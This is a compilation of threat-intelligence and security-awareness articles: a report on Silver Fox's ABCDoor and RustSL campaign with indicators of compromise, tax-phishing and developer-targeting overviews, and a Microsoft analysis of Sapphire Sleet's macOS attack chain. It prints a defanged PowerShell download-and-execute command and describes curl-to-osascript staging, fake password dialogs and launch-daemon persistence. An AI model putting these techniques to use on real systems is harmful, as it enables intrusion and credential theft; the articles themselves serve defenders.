  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Most phishing advice is written for the person staring at a suspicious email. This guide is for the other kind of victim: The website owner whose legitimate site has been quietly turned into the attacker’s weapon.

You didn’t send the message or build the fake login page. You just woke up to a browser warning, a suspended hosting account, or a polite note from someone’s security team asking why your domain is requesting Apple ID credentials.

Continue reading My Website Is Hosting a Phishing Page – Now What? at Sucuri Blog.

In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.

With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.

In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.

Taxpayer phishing

This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.

A site imitating the Chilean tax authority. The victim is prompted to enter their credit card information to receive a substantial tax refund — roughly US$375. Instead, the funds are siphoned from the victim’s account directly to the scammers

Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.

Instead of an official document from the French tax service, the user finds malware waiting inside the PDF

In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.

After entering the password, the user opens a malicious archive that infects their device

Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.

Tax-free crypto earnings

Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.

To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.

Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.

After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.

Can AI help with your tax returns?

When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.

Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.

If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.

Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.

The creators of a fake AI tool prompt users to upload tax documents, and kindly assure them that the site doesn’t store any user data. In reality, every piece of information entered — name, address, documents, contact person, phone number — ends up in the hands of cybercriminals

Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.

How to protect yourself and your data

• File your taxes yourself. The risk of running into scammers is extremely high. Even if a consulting firm is legitimate, you’re inevitably handing over a complete dossier on yourself: passport details, employment and income info, your address, and more. Remember that even the most honest services aren’t immune to hacks and data breaches.
• Watch out for fake websites. Use a reliable security solution that prevents you from visiting phishing sites and blocks malicious file downloads.
• Keep all important documents encrypted. Storing photos, notes, or files on your desktop, or starred messages in a messaging app isn’t a secure way to handle sensitive data. A secure vault like Kaspersky Password Manager can store more than just passwords and credit card info; it can also safeguard documents and even photos.
• Don’t trust AI. Even the most advanced chatbots are prone to errors and hallucinations, and in theory, developers can read any conversation you have with their AI. If you absolutely must use AI, install and run a local version on your own computer.
• Stick to official channels only. The “chief tax inspector” of your country or city is definitely not going to message you: high-ranking officials have more important things to do. Only contact tax authorities through official channels, and carefully verify the sender of any emails you receive. Most often, even a slight deviation in the name or address is a telltale sign of a phishing campaign.

Further reading on phishing and data security:

• Phishing and spam: the wildest campaigns of 2025
• How phishers and scammers use AI
• What happens to data stolen using phishing?
• How to disappear from the internet
• Why data brokers build dossiers on you, and how to stop them doing so

New analysis from Abnormal AI reveals how attackers have abandoned technical exploits to weaponize routine workflows and internal trust.

The post The Behavioral Shift: Why Trusted Relationships Are the Newest Attack Surface appeared first on SecurityWeek.

Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

• Make security a native part of your workflow. Use specialized solutions to vet your images, packages, dependencies, and components.
• Use threat intelligence feeds specifically focused on open-source components to check the packages used in software development.
• Make sure security awareness training covers everyone — including developers. Leverage specialized solutions like Kaspersky Automated Security Awareness Platform.
• Make sure developers are aware of the latest attack patterns — you can keep them in the loop by following the Development tag right here on this

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

